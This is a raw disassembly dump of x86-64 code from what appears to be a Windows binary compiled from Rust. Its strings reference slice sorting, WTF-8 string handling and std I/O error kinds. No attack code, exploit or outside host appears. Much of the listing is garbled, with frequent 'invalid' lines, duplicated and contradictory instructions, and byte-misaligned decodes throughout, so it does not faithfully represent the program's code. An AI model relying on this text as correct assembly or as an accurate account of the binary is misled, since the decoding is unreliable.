sub byte [rbp + rcx*4 - 0x7c], cl
test byte [rax + rbp*4], ah
add byte [rax], al
invalid
push rax
sub byte [rbp + rcx*4 - 0x7c], cl
invalid
test byte [rax + rbp*4], ah
and al, 0xa8
test al, 0
add byte [rax], al
add byte [rax], al
add bl, ch
cmp cl, byte [rcx - 0x75]
add al, 0x24
jmp 0x14007b5ea
mov rax, qword [r12]
lea rcx, [0x1400e18b8]
lea ecx, [0x1400e18b8]
invalid
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
lea rcx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea ecx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea ecx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
or eax, 0x6a7b0
mov al, 0xa7
invalid
mov qword [rsp + 0x30], rcx
xorps xmm0, xmm0
ror byte [rdi], 0x11
and al, 0x38
and al, 0x38
ror byte [rdi], 0x11
and al, 0x38
and al, 0x38
and al, 0x38
cmp byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 + 0x44], cl
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
and al, 0x20
and al, 0x20
call fcn.14003e1b0
test al, al
jne 0x14007b613
sub edi, esp
cld
inc dword [rax + rax*8 - 0x74b6df8b]
add al, 0x24
mov rax, qword [r12]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
lea rdx, [0x1400e05b7]
adc eax, 0x64fb1
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
push rax
sbb byte [rax + rax*8 + 0x1b01574], al
test al, al
je 0x14007b628
mov al, 1
add rsp, 0xf0
pop rbx
add byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp dword [rsp + 0x150], 1
mov esp, 0x15024
push rax
add dword [rax], eax
add byte [rax], al
add dword [rdi], ecx
test ecx, edx
sti
invalid
add byte [rcx], al
jne 0x14007b207
mov rax, qword [rdi]
mov eax, dword [rdi]
cmp eax, 2
je 0x14007b207
test ch, al
sti
invalid
invalid
add cl, byte [rdi]
test ch, al
sti
invalid
mov eax, dword [rsp + 0x158]
pop rax
add dword [rax], eax
add byte [rax], al
invalid
test byte [rax + rbx*8], ah
invalid
add byte [rax], al
mov dword [rsp + 0xd8], eax
add byte [rax], al
cmp byte [r12 + 0x20], 1
jne 0x14007b72b
test edi, ecx
add byte [rax], al
invalid
and al, 0x20
add dword [rdi], ecx
test edi, ecx
add byte [rax], al
add byte [rcx - 0x75], cl
add al, 0x24
invalid
mov rax, qword [r12]
and al, 0x48
lea rcx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea ecx, [0x1400e48c8]
invalid
invalid
mov qword [rsp + 0xa8], rcx
add byte [rax], al
lea rdx, [0x14003e180]
adc eax, 0xfffc2b0a
sub edi, esp
dec dword [rax - 0x77]
xchg esp, eax
and al, 0xb0
mov qword [rsp + 0xb0], rdx
lea rdx, [0x1400e1890]
lea edx, [0x1400e1890]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x6620b
or esp, dword [rdx + 6]
invalid
lea edx, [0x1400e1890]
or esp, dword [rdx + 6]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xb8
mov eax, 0x48000000
invalid
mov qword [rsp + 0xb8], rdx
mov eax, 0x48000000
lea edx, [0x14003d5c0]
adc eax, 0xfffc1f2c
lea rdx, [0x14003d5c0]
adc eax, 0xfffc1f2c
mov qword [rsp + 0xc0], rdx
mov qword [rsp + 0x20], 2
mov dword [rsp + 0x20], 2
and al, 0xc0
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x20], 2
mov dword [rsp + 0x20], 2
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x20
mov dword [rsp + 0x48], 0x20
mov dword [rsp + 0x48], 0x20
mov byte [rsp + 0x50], 3
mov qword [rsp + 0x70], rcx
mov dword [rsp + 0x70], ecx
mov dword [rsp + 0x70], ecx
mov qword [rsp + 0x78], 1
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
call fcn.14003e1b0
test al, al
jne 0x14007b613
mov rax, qword [r12]
lea rcx, str._____________at
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 1
lea rbx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x20]
call fcn.14003e1b0
test al, al
jne 0x14007b613
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x50], xmm3
movaps xmmword [rsp + 0x40], xmm2
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [r12]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0xa8], rcx
lea rcx, [0x1400786e0]
mov qword [rsp + 0xb0], rcx
lea rcx, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rsp + 0x70]
jmp 0x14007b5ea
mov ecx, edi
or ecx, 8
movq rdx, xmm6
test rdx, rdx
jne 0x14007b944
add byte [rax], al
or ecx, 4
mov dword [rsi + 0x34], ecx
mov r8d, 0x81
add byte [rbx + 0x4e8904c9], al
xor al, 0x41
mov eax, 0x81
mov edx, 0x30
mov r9, rax
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
shr r9, 4
mov r8d, eax
and r8b, 0xf
cmp r8b, 0xa
mov r10d, 0x57
cmovb r10d, edx
invalid
invalid
rol byte [rbp], cl
rol byte [rbp], cl
add r10b, r8b
mov byte [rsp + rcx + 0x2e], r10b
lea r8, [rcx - 1]
cmp rax, 0x10
mov rax, r9
jae case.0x140078b44.78
ret 0x8844
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
stc
add byte [rax], 0
add byte [rdi + 0x49], dh
stc
add byte [rax], 0
add byte [rdi + 0x49], dh
mov eax, 0x81
sub rax, r8
add rcx, rsp
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea r8, [0x1400db5c1]
mov r9d, 2
mov rcx, rsi
int1
int1
mov dl, 1
call fcn.14003d720
movdqu xmmword [rsi], xmm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
add esp, 0xc8
add esp, 0xc8
add byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
lea r8, [0x1400d04b0]
mov edx, 0x80
call fcn.1400a43b0
add al, byte [rax]
add al, byte [rax]
ud2
int3
int3
mov rax, r8
movzx r8d, byte [rcx + 0x20]
xor r9d, r9d
cmp byte [rcx + 0x18], 2
cmovne r9, rcx
leave
leave
mov rcx, rdx
mov rdx, rax
jmp fcn.1400789d0
invalid
invalid
ret 0xb2e9
invalid
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x98
cwde
add byte [rax], al
add byte [rax - 0x73], cl
lea rbp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
adc r14b, r15b
invalid
invalid
dec dword [rax - 0x77]
invalid
cwde
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
adc r14b, r15b
invalid
mov rdx, qword [rcx]
mov eax, edx
and eax, 3
lea rcx, [0x1400e7ca8]
or eax, 0x6c25b
pop rbx
ret 6
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
pop rbx
ret 6
invalid
add al, 0x81
add rax, rcx
jmp rax
mov eax, dword [rdx + 8]
mov rcx, rsi
int1
or byte [rax - 0x77], cl
int1
mov rdx, rax
add rsp, 0x98
invalid
cwde
add byte [rax], al
invalid
pop rbx
invalid
pop rdi
pop rsi
pop rbp
jmp fcn.14003de60
and edi, esp
invalid
and edi, esp
dec dword [rax - 0x75]
mov rcx, qword [rdx - 1]
dec dword [rax - 0x75]
dec dword [rax - 0x75]
mov rax, qword [rdx + 7]
mov rax, qword [rax + 0x20]
and byte [rax - 0x77], cl
add rsp, 0x98
invalid
and byte [rax - 0x77], cl
add rsp, 0x98
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop rbp
jmp rax
jmp rax
jmp rax
invalid
and byte [rcx - 0x72b7f3ab], cl
or al, 0x48
lea edi, [rbp - 0x10]
jge 0x14007ba8b
jge 0x14007ba8b
invalid
mov rcx, rdi
call fcn.140078120
jge 0x14007ba67
invalid
invalid
jge 0x14007ba67
mov qword [rbp - 0x30], rdi
mov dword [rbp - 0x30], edi
lea rax, [0x140010660]
mov dl, 0x4b
stc
stc
dec dword [rax - 0x77]
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x28], eax
fmul dword [r8 - 0x73]
or al, 0x48
invalid
lea rax, [rbp + 0xc]
or al, 0x48
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
lea rax, [0x140045aa0]
lea eax, [0x140045aa0]
add eax, 0xfffc9fdf
dec dword [rax - 0x77]
mov qword [rbp - 0x18], rax
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea eax, [0x1400e0b88]
call 0xfc0d4811
push rax
lea eax, [0x1400e0b88]
invalid
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x60], eax
mov qword [rbp - 0x58], 3
mov dword [rbp - 0x58], 3
test al, 3
add byte [rax], al
invalid
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x39], cl
rol byte [r8], 0
rol byte [rax], 0
mov qword [rbp - 0x40], 0
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
add byte [rax], al
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x50], eax
ror byte [r8 - 0x77], 1
ror byte [rax - 0x77], 1
mov dword [rbp - 0x50], eax
mov r8b, 0x48
mov dword [rbp - 0x48], 2
add al, byte [rax]
add byte [rax], al
mov qword [rbp - 0x48], 2
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
mov rdx, qword [rsi + 0x28]
lea r8, [rbp - 0x60]
invalid
push rsi
sub byte [rbp + rcx*4 + 0x45], cl
lea eax, [rbp - 0x60]
movabs al, byte [0x48c389fffc26afe8]
call fcn.14003e1b0
mov ebx, eax
cmp qword [rbp - 8], 0
cmp dword [rbp - 8], 0
scasd eax, dword [rdi]
cld
cld
cld
dec dword [rcx + 0x7d8348c3]
clc
cmp dword [rbp - 8], 0
jge case.0x140078c13.87
add byte [rdi], cl
test byte [rbx + rax], dl
je 0x14007be22
adc al, 3
add byte [rax], al
mov r8, qword [rbp - 0x10]
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
invalid
invalid
mov ecx, dword [0x1400f0220]
invalid
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
psubusb mm0, qword [rdx]
add cl, ch
invalid
add al, byte [rax]
jmp 0x14007be22
cld
add al, byte [rax]
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
shr rdx, 0x20
lea rax, [0x1400e7cb8]
lea eax, [0x1400e7cb8]
lea eax, [0x1400e7cb8]
add eax, 0x6c187
xchg ecx, eax
invalid
rol dword [rsi], 0
movsxd rcx, dword [rax + rdx*4]
or al, 0x90
add rcx, rax
jmp rcx
sar edi, 0xe1
lea rax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekindmessageKind__os_error__
add eax, 0x64d37
invalid
invalid
invalid
mov ecx, 0x10
add byte [rax], al
jmp 0x14007bdc9
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
add byte [rax], al
lea rax, [0x1400e0888]
add eax, 0x64d36
invalid
invalid
mov ecx, 0x11
add byte [rax], al
jmp 0x14007bdc9
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rax, [0x1400e0899]
add eax, 0x64d36
invalid
invalid
mov ecx, 0x12
add byte [rax], al
add cl, ch
jmp 0x14007bdc9
invalid
invalid
add byte [rax], al
jmp 0x14007bdc9
add byte [rax], al
lea rax, [0x1400e08ab]
add eax, 0x64d37
invalid
invalid
mov ecx, 0x10
add byte [rax], al
add cl, ch
jmp 0x14007bdc9
invalid
invalid
add byte [rax], al
jmp 0x14007bdc9
add byte [rax], al
lea rax, [0x1400e08bb]
add eax, 0x64d36
invalid
invalid
mov ecx, 0x10
add byte [rax], al
add cl, ch
invalid
cmp al, byte [rdx]
add byte [rax], al
jmp 0x14007bdc9
add byte [rax], al
lea rax, [0x1400e08cb]
add eax, 0x64d35
invalid
invalid
jmp 0x14007bdc4
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [0x1400e08de]
add byte [rax], al
lea rax, [0x1400e08de]
cmp al, 0x4d
invalid
mov ecx, 0x12
add byte [rax], al
add cl, ch
sbb eax, 0x48000002
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [0x1400e08f0]
add byte [rax], al
jmp 0x14007bdc9
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [0x1400e08f0]
add byte [rax], al
lea rax, [0x1400e08f0]
cmp eax, 0xb900064d
or eax, 0xe9000000
add byte [rax], al
add cl, ch
invalid
mov ecx, 0xd
jmp 0x14007bdc9
add al, byte [rax]
invalid
add byte [rax], al
add cl, ch
or al, 2
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [0x1400e08fd]
add byte [rax], al
lea rax, [0x1400e08fd]
cmp dword [rbp + 6], ecx
add byte [rcx + 0xe], bh
mov ecx, 0xe
invalid
mov ecx, 0xe
add byte [rax], al
add cl, ch
invalid
sti
jmp 0x14007bdc9
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1400e090b]
add byte [rax], al
lea rax, [0x1400e090b]
invalid
invalid
mov ecx, 0x15
add byte [rax], al
add cl, ch
invalid
invalid
jmp 0x14007bdc9
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rax, [0x1400e0920]
add eax, 0x64d3a
cmp cl, byte [rbp + 6]
add byte [rcx + 0xc], bh
add byte [rax], al
invalid
invalid
mov ecx, 0xc
add byte [rax], al
add cl, ch
invalid
fld dword [rcx]
invalid
jmp 0x14007bdc9
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rax, [0x1400e092c]
add eax, 0x64d35
xor eax, 0xb900064d
or eax, dword [rax]
add byte [rax], al
invalid
invalid
mov ecx, 0xb
add byte [rax], al
add cl, ch
jmp 0x14007bdc9
jmp 0x14007bdc9
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rax, [0x1400e0937]
add eax, 0x64d2f
invalid
invalid
mov ecx, 0x15
add byte [rax], al
add cl, ch
jmp 0x14007bdc9
jmp 0x14007bdc9
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [0x1400e094c]
add eax, 0x64d33
xor ecx, dword [rbp + 6]
add byte [rcx + 0x15], bh
add byte [rax], al
invalid
invalid
mov ecx, 0x15
add byte [rax], al
add cl, ch
invalid
cmpsb byte [rsi], byte [rdi]
jmp 0x14007bdc9
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [0x1400e0961]
add eax, 0x64d37
invalid
invalid
add byte [rcx + 0xf], bh
mov ecx, 0xf
jmp 0x14007bdc9
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [0x1400e0970]
add eax, 0x64d35
xor eax, 0xb900064d
invalid
invalid
mov ecx, 0xe
jmp 0x14007bdc9
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
lea rax, [0x1400e097e]
add eax, 0x64d32
invalid
jmp 0x14007bdc4
lea rax, [0x1400e0991]
add eax, 0x64d39
mov ecx, 0x26
add byte es:[rax], al
add cl, ch
add dword [eax], eax
add dword [rax], eax
add byte [rax], al
jmp 0x14007bdc9
add byte [rax - 0x73], cl
add eax, 0x64d4e
lea rax, [0x1400e09b7]
mov ecx, 0x38
add byte [rax], al
jmp 0x14007bdc9
push rsi
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1400e09ef]
lea rax, [0x1400e09ef]
lea eax, [0x1400e09ef]
add byte [rcx + 0x19], bh
mov ecx, 0x19
add byte [rax], al
jmp 0x14007bdc9
lea rax, [0x1400e0a08]
mov ecx, 0x17
add byte [rax], al
add cl, ch
xor al, 1
add dword [rax], eax
invalid
jmp 0x14007bdc9
lea rax, [0x1400e0a1f]
invalid
invalid
mov ecx, 0xc
add byte [rax], al
jmp 0x14007bdc9
lea rax, [0x1400e0a2b]
lea eax, [0x1400e0a2b]
mov ecx, 9
jmp 0x14007bdc9
add dword [rax], eax
add byte [rax], al
add byte [rax], al
lea rax, [0x1400e0a34]
add eax, 0x64d76
invalid
mov ecx, 0xa
jmp 0x14007bdc9
add dword [rcx], eax
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1400e0a3e]
lea rax, [0x1400e0a3e]
lea eax, [0x1400e0a3e]
mov ecx, 0x10
jmp 0x14007bdc9
add byte [rax], al
add byte [rax], al
add byte [rax], al
add cl, ch
lock add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [0x1400e0a4e]
add byte [rax], al
lea rax, [0x1400e0a4e]
lea eax, [0x1400e0a4e]
invalid
mov ecx, 0x17
invalid
jmp 0x14007bdc9
lea rax, [0x1400e0a65]
lea eax, [0x1400e0a65]
invalid
mov ecx, 0x19
jmp 0x14007bdc9
add byte [rax], al
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
lea rax, [0x1400e0a7e]
add eax, 0x64d7c
add byte [rcx + 0xe], bh
mov ecx, 0xe
jmp 0x14007bdc9
add byte [rax - 0x73], cl
add eax, 0x64d79
jns 0x14007bd5e
invalid
invalid
lea rax, [0x1400e0a8c]
jns 0x14007bd5e
invalid
mov ecx, 0xd
jmp 0x14007bdc9
lodsb al, byte [rsi]
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1400e0a99]
lea rax, [0x1400e0a99]
add byte [rcx + 0x14], bh
mov ecx, 0x14
add byte [rax], al
jmp 0x14007bdc9
lea rax, [0x1400e0aad]
js 0x14007bd80
mov ecx, 8
jmp 0x14007bdc9
mov al, byte [rax]
add byte [rax], al
lea rax, [0x1400e0ab5]
mov ecx, 0x1b
add byte [rax], al
jmp 0x14007bdc9
lea rax, [0x1400e0ad0]
mov ecx, 0xe
add byte [rax], al
jmp 0x14007bdc9
lea rax, [0x1400e0ade]
mov ecx, 0x10
add byte [rax], al
jmp 0x14007bdc9
jl case.0x14007ba54.44
invalid
lea rax, [0x1400e0aee]
mov ecx, 0x16
jmp 0x14007bdc9
lea rax, [0x1400e0b04]
mov ecx, 0x15
jmp 0x14007bdc9
lea rax, [0x1400e0b19]
mov ecx, 0xb
jmp 0x14007bdc9
lea rax, [0x1400e0b24]
mov ecx, 0x16
add byte [rax], al
add byte [rax], al
jmp 0x14007bdc9
lea rax, [0x1400e0b3a]
mov ecx, 0xd
jmp 0x14007bdc9
lea rax, [0x1400e0b47]
mov ecx, 0xb
jmp 0x14007bdc9
lea rax, [0x1400e0b52]
invalid
mov ecx, 0x13
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
fmul dword [r8 - 0x73]
ror byte [r8 - 0x77], 1
invalid
invalid
lea rax, [0x14003e180]
dec dword [rax - 0x77]
clc
fmul dword [r8 - 0x73]
ror byte [r8 - 0x77], 1
invalid
dec dword [rax - 0x77]
clc
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x10]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rbp - 0x60]
call fcn.14003e1b0
mov ebx, eax
mov eax, ebx
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rax
mov rdx, r10
jmp 0x14007be80
invalid
add byte [rax], al
invalid
invalid
int3
push r15
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov r14, r9
invalid
mov rsi, r8
mov rdi, rdx
invalid
mov r15, rcx
mov rbp, qword [r9 + 0x18]
lea rdx, [0x1400e3634]
invalid
mov r8d, 1
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call rbp
mov bl, 1
add dword [rax + rax*8 + 0x1c3850f], eax
add byte [rax], al
add dword [rax + rax*8 + 0x1c3850f], eax
add byte [rax], al
ror byte [rdi], 0x85
ret
lea r13, [r15 + rdi]
xor ecx, ecx
cmp rcx, rdi
cmp ecx, edi
je 0x14007c04d
add byte [rbp - 0x73], cl
add al, 0xf
lea r8, [r15 + rcx]
mov r12, rcx
mov rdx, r8
jmp 0x14007beff
int3
add rdx, 2
add edx, 2
cmp rax, r13
cmovne rax, rdx
cmovne eax, edx
cmovne eax, edx
mov r10d, 2
add byte [rax], al
nop dword [rax + rax]
add byte [rax], al
add byte [rbp + 1], cl
invalid
add r12, r10
mov rdx, rax
mov edx, eax
mov edx, eax
cmp rax, r13
je 0x14007c050
push rcx
add dword [rax], eax
invalid
push rcx
add dword [rax], eax
add byte [rax - 0x73], cl
add dword [rdi + r9 - 0x4a], eax
add dword [rdi + rcx - 0x4a], eax
lea rax, [rdx + 1]
movzx r9d, byte [rdx]
mov r10d, 1
add dword [rax], eax
add byte [rax], al
add dword [rdi + rcx - 0x4a], eax
or al, byte [rcx - 0x46]
add dword [rax], eax
add byte [rax], al
test r9b, r9b
jns 0x14007bef0
cmp r9b, 0xe0
jb case.0x14002753a.1225
invalid
mov edi, 0xedf98041
cmp r9b, 0xed
jne 0x14007bf51
cmp rax, r13
je 0x14007c050
add byte [rax], al
add byte [rax], al
lea r9, [rdx + 2]
cmp r9, r13
cmp ecx, ebp
cmp ecx, ebp
je 0x14007c050
add byte [rdi], cl
mov dh, 0x42
add dword [rdi], ecx
mov bh, 0xc0
invalid
movzx eax, byte [rdx + 1]
movzx eax, ax
invalid
sar byte [0x14007bfe0], 0x77
cmp eax, 0x9f
ja 0x14007bf8d
invalid
add rdx, 3
add rdx, 3
mov r10d, 3
add eax, dword [rax]
add byte [rax], al
mov rax, rdx
jmp 0x14007bef0
add rdx, 2
cmp rax, r13
cmp eax, ebp
ret 0x4c02
cmp eax, ebp
cmove rdx, rax
xor eax, eax
invalid
cmp rdx, r13
sal byte [rcx], 1
ror byte [rcx + rdi - 0x16], 0xf
xchg ebp, eax
ror byte [rax + 1], 0xd0
add rax, rdx
setne al
add rax, rdx
mov r10d, 3
mov edx, 3
add byte [rax], al
cmp r9b, 0xf0
jb 0x14007bef0
invalid
jns 0x14007bf74
invalid
invalid
stc
invalid
invalid
push qword [rcx]
ror byte [rcx + rdi - 0x18], cl
cmp rax, r13
xor edx, edx
cmp rax, r13
setne dl
add rax, rdx
add eax, edx
xchg ebp, eax
ret 0x148
invalid
add eax, edx
mov r10d, 4
add al, 0
add byte [rax], al
jmp 0x14007bef0
invalid
movzx edx, byte [r9]
and eax, 0x1f
loopne 0x14007bfb3
adc dword [rbx - 0x1f3ee020], eax
invalid
loopne 0x14007bfb3
shl eax, 6
and edx, 0x3f
invalid
add eax, edx
add eax, 0xd800
fadd dword [rax]
add byte [rsi - 0x77], ah
and al, 0x26
invalid
fadd dword [rax]
add byte [rsi - 0x77], ah
and al, 0x26
mov r9, r12
mov ecx, esp
sub r9, rcx
jb 0x14007c092
loopne 0x14007bfb0
add byte [rax], al
loopne 0x14007bfb0
add byte [rax], al
cmp r12, rdi
cmp esp, edi
ja 0x14007c0a3
mov rcx, rsi
mov ecx, esi
mov rdx, r14
call fcn.14007c0c0
add byte [rax], al
add byte [rax + rax*8 + 0xb1850f], al
mov cl, 0
add byte [rax], al
add byte [rax], al
add byte [rax + rax*8 + 0xb1850f], al
mov cl, 0
mov cl, 0
add byte [rax], al
lea rax, [rsp + 0x26]
and al, 0x26
mov qword [rsp + 0x28], rax
lea rax, [0x14003f130]
mov qword [rsp + 0x30], rax
lea rax, str.u
add eax, 0x653f5
add eax, 0x653f5
mov qword [rsp + 0x38], rax
and al, 0x38
mov qword [rsp + 0x40], 2
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
push rax
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
int1
mov rdx, r14
lea r8, [rsp + 0x38]
and al, 0x38
and al, 0x38
call fcn.14003e1b0
test al, al
jne 0x14007c07f
add r12, 3
mov rcx, r12
add ecx, dword [rcx + rcx*4 - 0x1f]
cmp r12, rdi
jbe 0x14007bec2
lea r8, str.library_std_src_sys_commonwtf8.rs
lea eax, [0x1400e1420]
mov rcx, r12
mov ecx, esp
mov rdx, rdi
call fcn.1400a43b0
add dword [rdx], 0
add dword [rdx], 0
ud2
mov rcx, rdi
stc
sub rdi, rcx
add r15, rcx
iretd
mov rcx, rsi
mov rdx, r14
mov r8, r15
mov eax, edi
mov eax, edi
mov r9, rdi
mov ecx, edi
call fcn.14007c0c0
add byte [rax], al
add byte [rax + rax*8 - 0x72b7eb8b], al
test al, al
jne 0x14007c07f
lea rdx, [0x1400e3634]
test al, al
jne 0x14007c07f
lea rdx, [0x1400e3634]
ret 0x675
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call rbp
mov ebx, eax
invalid
mov eax, ebx
add rsp, 0x68
add esp, 0x68
add esp, 0x68
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rdx, r12
add byte [rcx + rcx*4 - 0x1e], cl
call fcn.1400a4780
add al, byte [rax]
ud2
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, r12
invalid
mov rdx, rdi
call fcn.1400a44b0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xd8
add byte [rax], al
add byte [rdi + rcx + 0x29], al
test byte [rax + rax*8], ah
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edi
mov esp, 0xb024
invalid
add byte [rax], al
add byte [rdi + rcx + 0x29], al
test byte [rax + rax*8], ah
and al, 0xc0
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edi
mov esp, 0xb024
invalid
mov esp, 0xb024
add byte [rdi], cl
movaps xmmword [rsp + 0xa0], xmm6
sub dword [rsp + 0xa0], esi
mov rdi, r8
mov qword [rsp + 0x90], rdx
xchg esp, eax
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rcx*4], fs
